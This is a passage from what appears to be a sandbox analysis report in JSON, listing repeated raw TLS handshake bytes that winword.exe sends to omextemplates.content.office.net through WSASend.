                "http_request": "winword.exe_WSASend_\\xff\\xff\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xac\\xdb\\x9be\\xbep$\\xe0\\xf8\\xff\\xb8\\xd2\\x07\\xff(\\x88\\x97a\\xc5\\xa4?\\x7f\\xb5v\\xf9\\x15\\xbcs\\xa0!\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xac\\xdb\\x10\\xd4\\xb6\\x03\\xdbzi?'\\x08\\xf1\\xa3\\xb8\\xb1\\xea\\xe9\\xb1\\xecb\\x8b\\xa9\\x10wq\\x84\\x84\\x18\t\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xac\\xdb\\xdd6n\\xb1s\\xfe\\xb7\\x01\\xfd\t\\x13]u\\xd07\\x97v\\xa3gd\\xfa\\x8c\\xe8\\xd5\\xe6\\xf7\\x0e\\x0b\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xac\\xdbh\\xc2\\x000\\xea\\xb5\\xe8h\\x94\\x1cu}'f\\xb7g\\x82\\x9a!\\xd1\\x96u\\x86\\x9cc\\x12\\xd1\\xbd\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xac\\xdb\\x85\\xf5m\\xbe\\x95r1\\xee\\x1e\\xbe\\x05\n@\\x93\\x1ds\\xbe\\xd5\"\\x01v\\x0f\\xea#&\\x1cz\\x82\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xac\\xdbj\\xa6.\\xd5s\\xff!tf\\xad\\xd8?\\x1f\\xdf\\x96gx\\x1e\\xab\\xb2\\x16y4<\\xee\\xa95\\xd3\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
            },
            {
                "http_request": "winword.exe_WSASend_\\xff\\xff\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xac\\xdbu\\xb4\\xdcq1\\xbb\\x8d\\xb0\\xc4\r\\xe7_\\xc3\\x12\\xd8\\xb7:7\\xd5\\x06i<\\x110t\\xc0p\\xcf\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xac\\xdbmy\\xd3g\\x95\\xa0\\x9e\\x8e3\\xcaf\\x04\\xff\\xb7\\x01p\\x90\\x15\\x0ev\\xdf\\xa4\\xe3\\xb3\\x05\\x85\\xcb\\xa2\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xac\\xdb7\r\\xf1\\xd6\\xbb\\x97\\x81\\xd6\\xca\\xe4\\x84%\\xf9\\x8e@\\x9f\\x86\\x96\\xc2pi\\x89o\\xc2[\\x1c\\xf9\\x9b\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xac\\xdb|e\\x0b\\x01\\x97\\x9c<\\xd2q\\x93\\xd18\\x82qd1\\xdbbe\\x0b\\x88\\x81\\x86\\x03n[\\xc3\\xa5\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xac\\xdb\\x80^g\\xd0d\\xb6\\xae\\xb7i\\x80\\xb2\\x18;\\x0c\\x02\\x99oj\\x8a4u\\x07\\xcavu\\x1cg\\x96\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xac\\xdbei8^7\\x8f\\x0c\\x86\\xc6\\x88\\x03\\x82\\xc3\\xc0{\\xde\\x1a=\\xab\\x91\\xb3z\\xb6\\x96n\\xb3\r\\xde\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
            },
            {
                "http_request": "winword.exe_WSASend_j\\x01\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xac\\xdb\\xf2\\x1b\\x9c\\xd5h\\xf2f\\xc1\\x97\\x1c\\xb0'\\xc9\\x94\\x80\\xab\\x1d^\\xa9\\x81]\\xa8\\xdf\\xea\\x18e\"\\xa8\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xac\\xdb'\\xf0\\x04\\xd3r\\xf8ku\\xb3\\x15\\xd3\\x04\\xe1u\\xf1\\xc9\\x80gip\\x11\\xd0_6\tns<\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xac\\xdbs\\x12\\xf1\\x8c9n\\x8e\\xc9\\xf9k\\xf0\\x802\\xd5\\xa9\\x10mz\\x9f\\x98r2.\\x98\\x0cw%t\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xac\\xdb\\xfdno.\\x06\\xcc\\xa7\\xda\\x11\\x80\\xbb\\x9c\\xbd\\xbfy\\xe3=\\x05\\xba\\xd3-}~s\\xddy`\\x86\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
            },
            {
                "http_request": "winword.exe_WSASend_~\\x01\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xac\\xdb_\\x7f\\x18\\xe6j%\n\\x9d;\\xb1r}\\x0e\\x8c\\xe4\\xdco{9h\\xff\\x9c\\xaf\\x1au\\xa2\\xde\r\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xac\\xdbt-5\\x11\\xef\\xea\\x11[>\\x90\\xfe\\xc4\\xb9$p\\x9b\\xc2\\x1a7\n\\x9ef\\xd5\\xa4\\x10q\\xc8u\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xac\\xdb\\x95\\xb8\\xeab\\x1f\\x97\\xc0\\xba^bg\\xd2x\\xc9+\\xa0&r\\x19\\x18\\xa3e\\xf0\\xc0\\x1c\\xd1\\xc3l\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xac\\xdbm\\xaa\\x8d\\x93\\xc4\\x91\\xf0|\\x83\\x14uga\\xde\\xdc\\xa4\\xbfs\\x9f\nw)lb!\\x8dn\\xb5\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xac\\xdb\\xd83\\xfa\\xa4,\\xc2\\xee\\xe8\\xf3\\xad\\xcb\\x1b\\xc7l\\x97m8\\xc5q\\x91\\x81\\x91\\xbb7#\\xf3b\\x18\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x95\\\\x08o\\x80aw\\xae\\xaf\\xb6\\xe6\\xfc\\xa4\\xc4[\\xcb\\xf0^\\x8b\\x18yp\r2n\\x17\\xf2\\xfc\\xd3\\x16\\x9e3\\xb2t\\xdb\\xda\\xb3\\xa3a\\x9b\\xb6\\x00-\\xa5\\x943r\\xcait\\xe1\\x12r,:\\.-xoh\\x0fl\\xb6\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x03\\xb1\\x86\\xb8\\xf3\\xaf\\xb7~v\n\\x94q\\x8a\\xc1m\\xc6n\\xac\\x830\\xc7\\xf75\\xf6o\\x8c\\x90\\xd4e\\x83s\\x0c\\xc2>\\xd8\\xe1df%\\xd4\\xf9\\x88jf\\xe9c\\xd4\\x1b"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf0r)\\xf3\\xcdm6\\x8b\\xac\\xaf\\x93\\xe0\\x9fg\\xd7\\x91\\x91\\x08\\xcbq\\xb8a@\\xec\\xca6\\x1d #\\xfbf\\\\x03\\xe3p\\x8dm\\x97(\\xde\\x1f\\x8c_\\xb6\\xd0d(\\xe4~\\xc90ra\\x18\\xc0.\\x02,\\xfc\\xbf\\x1b\\xaf\\xd3,\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000ei\\xa8\\xaf\\x8b]\\xaa\\xb9a\\x1ct\\xd2\\xe7,\\x02\\xddg\\xee\\x89\\xc7\\xbatb\\xf5\\xcf\\x14\\x0cex\\xb9\\xb0z\\xcb\\xd0\\xc0\\xaao9h\\xa4$\\xcd\\xc8\\xefa\\xa1\\x00\n"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x00\\x01\\x00f\\x10\\x00\\x00ba\\x045\\x8a\\xdf\\x10b\\x93\\x0ff\\xcc9\\x9d\\xba\\xcd\\xd3g\\xe01o\\\\xcer\\xc3\\xf6\\xfd\\xd1\\x94h\\xecj\\xaa\\xe0\\x04\\xdbh\\x1b\\x99v\\x1b\\x99n\\x07k\\x8a{\\xf1\\xa5\\xda\\x82\\xda\\xbdf\\x86^\\xb2\\xa9\\xaf\"; wv\\x81 \\xab\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000a\\xa3\\xc6\\xc4]\\x8d\\xa6\\x88k1a$\\x8fxh\\x93{\\x0f\\xb3\\x19\\xe8p\\x19s\\x1b\\x96i\\x0b\\xb8l\\xf0ubo;f\\xec\\xab\\x02w?\\x1a\\xf0\\x06\\xa6wtv"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x00\\x01\\x00f\\x10\\x00\\x00ba\\x04s\\xa4\\x16(\\xeer\\x96\\x98\\xbf3q\\x16\r\\xe8i\n\\x94p\\xf5*\\x8aq\\xdd\\x06q&\\x1a\\x06$s\\xfd\\xdb\\xaa$\\xd0\\x85w\rk\\x9c<\\x92\\x1c\\xa5\\x9c\\x81\\xb8m4\\x8f\\xbc\\x9f\\xf6\\xc3\\xce\\x8a`\\x82n\\x10\\x1b\\x00q\\xce\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000b\\xa0\\xd6\\x13\\xd9\t\\x95\\x94r~u\\xa9\\xfbl\\xad\\xc3t\\xe9d\\xc8\t\\x02\\xc0\\xb9\\x00\\xd4\\xaeyv<\\xb2\\x02\\x83\\xec#<\\xb1xs\\xbc\\xbet/\\xd4>\\xf1c\\x9c"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04/\\xec\\x80\\x9d\\xe7m\\xf9'\\xc6\\xee(\\xbe\\xa7>\\xa9\\xc6\"\\x19p\\xd8\\xef\\x04\\xa9\\xc5\\x19u\\xe6\\xf7\\xeam\\x9bc\\xc5e)\\x1a\\xff\\xdb\\x81wl\\x92f\\xb9\\xcb\\x98\\xd3\r\\xe49\\x1ffu\\xc4\\x1d\\xaf\\xbc&\\xe8\\x02\\x1a\\xe9]a\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x9c\\xaf\\x89{\\x87\\xf5&&\\xe0;j\\xd7\\x92%\\xf0g+\\xaa\\x0e|\\xc4\\xd9\\xd0\\xb3\r\\xe6#\\x9b\\xf8\\xc4\\x90\\x9f\\x11<\\x13a\\xfah\\xcf\\xe2jmu\\x99\\xb8\\\\xc0\\x01"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd1\\x0eet\\x1a{\\x10\\xf9'\\xd6\\x19(\\x8f\\x9eo\\x018\\xf9e\\xfb\\x0fv_\\xe2_\\xdc\\xa9^\\x10\\x9c\t}m\\xa5\\xca\\xe7\\xb8\\xae\\xef\\xb6\\x88\\xbe\\xd7{\\x82l\\xb2\\xe8\\xe0\\x0c\\xfb\\xcfh\\x81`\"o\\xca\\xd1\\xe3q\\xd6~\\xb6\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000u\\xb6\\xbf\\xa0\t\\xd4\\xe9v\\xa0\\xc4i\\xaen\\x83\\x0f\\xe9\n\\xf5\\xff\\xd7\\x82a\\x8ed\\x0b\\xad7u\\xb7\\xd7n\\xab\\x9e\\xd4\\x10\\xa6\\xa7s\n;\\xf4\\x11\\xe6\\xbax95\\x7f"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xee\\xc2\\xc6j\\xd1(\\x99\\x87\\x94\\xd3\\xad>\r\\x9b2\\xf5n.d\\x10\\x02q\\xdd\\xa8\\xe9\\x03\\xb6b\\xd2\\x89_\\x16\\xf7 /\\xc4\\xf8t\\xf48\\xecp-\\x8b\\x82\\xcb\\xae\\xd3\\x15ouba\\xc5\\xd6\\xa6c\\xb5u\\xcd\\xe6\\x17p\\xf5\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000ls\\xf7x6\\xae\\xfa\\xf4\\xe8\\x10]\\x9d\\xc3\\xde'd\\x1bm\\xdf\\x15\\xdb\\xe6{\\x1f\\xf7\\xa7\\xff:v\\xec\\xbe\\xa5\\x92\\x9a\\xc1\\xf6\\x8ab\\xf9mq|\\x99j\\xdb\\x1c%\\xba"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04$x\\x9f\\xe7\\xe6d\\xe0\\xbdfqn\\xcd\\xc4\\x91\\xbec\\x1cp\\xa4\\x8d`\\x03j\\xb3\\xb2\\xddw\\x11\\x04y\\x0f\\xfd\\x9av1n0\\xa2cj\\xc3\\xc2*\\xf9\\xa4\\x9a\\xfb\\x00\\x9fm!\\xb3|\\xdc#\\xa4,\\xda\\x81\\x8e\\xa2x\\x98\\x0f\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xb7\\xe9\\x1e(\\xcb\"\\x1ah\\xd6\\x96:\\xef\\xdf\\x82\\x13\\xe9\\xa1;-\\x18\\xccc38s\\xcf\\xeax\\x8c\\\\xbe0m\\x06\\xa5\\xd8\\xdc\\x84\\xfd\\xf6h+t\\xe1\\xfa\\xf8\\xb2\\xbb"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xb6\\x1d\\x91\\cx7\\x051\\x87\\x1a\\x83!\\xb5\\x86#9\\x83c]\\xf1s1j%}6=\\x87%\\x99@\\x90\\x1a\\x16\\x08.\\xb4\\x06\\xdb\\xd5?\\xf8\\xeb&\\xae\\xe1\\x0c\\xae:\\x91\\x08}\\xbc\\xa4~\\xf4\\xbbm%\\xd2\\x0f\\x9el\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000b<\\xef\\x90\\\\x9f1\\x9e\\xd0\\x85t\\xe2?\n\\x0c\\xd1\\x18a\\x1d\\xda\\xbf\\x9d\\x04~\\xca{e?\\xaau\\xad\\x845\\xf5n2\\xcf\\xb7\\xfe\\xb0*bf\\xaf\\xa7\\x03\\xaa\\xc8"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x98\\x89-!i$\\xa7\\x8d7\\xb3\\xea,bd\\x85\\xff\\x95hs\\x17\\x9a\\x87\\x84\\x9eu!$\\xb7\\xbb) -n;]\\x1c\\xf9\\xc3\\xa2m\\x0bs\\x04\\xed\\x05)\\xb6\\x15\\xd4\"q\\xe8\\x9c\\xa8\\xaff\\xa1\\x8f\\xad\\x9f\\xbc\\xd0\\xc2\\xaa\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe0p\\x84`1\\xe3\\xb8\"\\xdc\\x0c\\x08\\xd2\\x1b<\\x88\\x15\"\\xd9\\xc0\\xab\\x86+z(\\xff\\xa8\\xcc&u\\xaa9\\xd3\\x8cl\\xb7\\xd6\\xb9\\x1d\\xb37\\xc6\\x05a\\xb8i\\xa2\\x86v"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xcd\\xe1\\x9c\\x1b[wj$c\\xbd\\x9d\\xef\\xdep3\\x11\\xa7$\\xfbup|;\\x19\\x02\\x90\\xb774\\x8bx\\xf1\\xb3\\xb8\\xc2\\xb4y\\xba@\\xed^\\x7f[k\rf\\x05mte\\x88c\\xae\\xed8\\x9d\\xe6\\xd3\\x85!lr\\x8e\\xe6\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xbd:\\xbf=\\xc6m:\\x0c\\xad\\xe7\\xb5\\xf9\\x01(>\\x06\\xdf\\xfbc_\\xe6?\\xb0+$mgy[\\xa2\\xf9l:\\x1ci\\x88\\xa4.\\x9a\\x98|\\xfe\\xb03@\\k("
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xde: l\\x90\\xda@n\\xda\\xfdn\\xb4\\xd5\\xc4\\xd0\\x92\\x14\\x0e7\\xa4\\xd5\\xbb/\\xf8kb\\xac\\xca\\xf2\\xfe\t\\x0f^\\xbd\\x16\\xe7\\xcf\\xa0i\\x8drau\\xfb\\xfa\\xf8\\xe4\\xfc\\x98\\x9e\\xc3\\xe19\\xaak&\\xb3\\x04*\\xdf9\\xf0s!\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xac\\x86\\x86u\\xd1\\xd9js\\x08gx\\xc6s\\x08y\\xa2\\xdc\\x981\\x88\\xb4r\\xb8\\x1e\\xab\\x14\\xb3\\xeb\\x88\\xf0s\\xd00m2{e\\xa7\\xca\\x93h\\x82n\\xa9\\xba\\xc7\\xe7\\xc7"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04l\"o\\xe8\\xd4\\xf7\\b\\x93\\xeb68_\\xabf\\x91\\xf9ho\\xd9be\\x02\r\\x9b\\x89\\xf0\\xd5{\\x94\\xce\\xb3\\xf9\\x07\\xaf\\xd2\\xea\\xa0\\xca\\x1f/\\x9eonr~\\x17\\x86:\\xde\\xae&l*\\xd6\\x85@zxo\\x9d\\xc8\\xe2d\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xbf\\xce]ia6\\x8bs\\x1biu\\xf5\\xd6q\\xb5pm\\xb81\\x02\\xee\\xdc>\\x08\\x93m(\\x97g\\xe4zg\\x8c\\xad.\\x83\\xa5\\x95\\x8c\\x95n\\x0e\\xd9\\x02\\xe8\\x98\\xd3x"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xe1\\x1cen\\xfc:;\\xa5\\xed\\xab]\\x1eh>\\xee\\xfb\\x85u\\x88\\x1d\\x95\\xc1\\xa2u\\xcf\\x90\\x1e\\xfe\\xf3j4e\\xe0x\\x93\\xec\\x01q3\\xa8\\xfa\\x0b\\xc9\\x14\\xe3\\x07 \t\\x8a\\xfb\\xd6>\\xeb\\xffa\\x8a\\x1b\\xd3\n\\xb7\\x18\\xa1mf\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa5\\x08\\xc1\\xbe$\\x17\\xff\\x98\\xc9sdq\\x89\\x9a\\xad\\xe7\\xdbo\\xb5\\xaf>\\xae\\xa1\\x0e\\xe0\\xf7\\x94\\xb8g\\x87\\x94\\xf9\\x17\\xfd*\\xbd\\x08tz\\xae\\x9c%\\xf0#m\\xf9g\\x80"
            },
            {
